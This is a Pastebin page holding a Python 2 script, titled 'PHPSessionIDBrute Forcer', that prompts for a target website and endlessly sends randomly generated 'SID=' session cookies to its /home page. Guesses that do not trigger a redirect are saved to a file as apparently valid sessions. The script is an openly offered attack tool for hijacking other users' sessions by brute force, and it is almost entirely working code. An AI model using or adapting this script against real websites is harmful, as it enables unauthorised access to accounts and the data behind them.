stoker

PHPSessionIDBrute Forcer

Jun 16th, 2014
413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.47 KB | None | 0 0
  1. #!/usr/bin/python
  2. import httplib, urllib, gzip, StringIO, random
  3. print """
  4. _____               _            _____    _______            _            
  5. /  ___|             (_)          |_   _|  | | ___ \         | |          
  6. \ `--.  ___  ___ ___ _  ___  _ __  | |  __| | |_/ /_ __ _   _| |_ ___ _ __
  7. `--. \/ _ \/ __/ __| |/ _ \| '_ \ | | / _` | ___ \ '__| | | | __/ _ \ '__|
  8. /\__/ /  __/\__ \__ \ | (_) | | | || || (_| | |_/ / |  | |_| | ||  __/ |  
  9. \____/ \___||___/___/_|\___/|_| |_\___/\__,_\____/|_|   \__,_|\__\___|_|  
  10.                                                                          
  11.     Author: Muhammad Adeel aka Stoker
  12.     Email:  [email protected]
  13.     Blog:   http://urdusecurity.blogspot.com
  14.  
  15. """
  16. # Target Website Here
  17. Target = raw_input('Enter Target Website to Brute Force [Ex: google.com ]: ')
  18. # Function Defining
  19. def UrduSecurity(attack):
  20.     print "[*] Please Wait - We are Trying Following Session id => ",attack
  21.     conn = httplib.HTTPConnection(Target)
  22.     headers = {"Host": "urdusecurity.blogspot.com",
  23.                "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  24.                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  25.                "Accept-Language:": "en-us,en;q=0.5",
  26.                "Accept-Encoding": "gzip, deflate",
  27.                "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
  28.                "Proxy-Connection": "keep-alive",
  29.                "Referer": "http://urdusecurity.blogspot.com",
  30.                "Pragma": "no-cache",
  31.                "Cookie": attack, }
  32.     conn.request("GET", "/home", "", headers)
  33.     response = conn.getresponse()
  34.     print response.status, response.reason
  35.     comparametersseddata = response.read()
  36.     comparameterssedstream = StringIO.StringIO(comparametersseddata)  
  37.     gzipper = gzip.GzipFile(fileobj=comparameterssedstream)      
  38.     data = gzipper.read()
  39.     if "window.location.href" in data:
  40.         print "[-] Sorry, Nothing Found !."
  41.     else:
  42.         w = open('Session_Id_Bruter.txt','a')
  43.         w.write(attack)
  44.         print "[+] Done, Thanks For Using Session ID Brute Forcer."
  45. # Generating Session ID
  46. parameter = "SID="
  47. Max_Length_of_Random_Num = 25
  48. data_all = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  49. var = len(data_all)
  50. PayLoad = ''
  51. while 1:
  52.     if len(PayLoad) == Max_Length_of_Random_Num:
  53.         final = str(parameter)+str(PayLoad)
  54.         UrduSecurity(final)
  55.         PayLoad = ''
  56.     temp_var = random.randint(0, var)
  57.     temp_var2 = temp_var+1
  58.     PayLoad += data_all[temp_var:-var+temp_var2]
Add Comment
Please, Sign In to add comment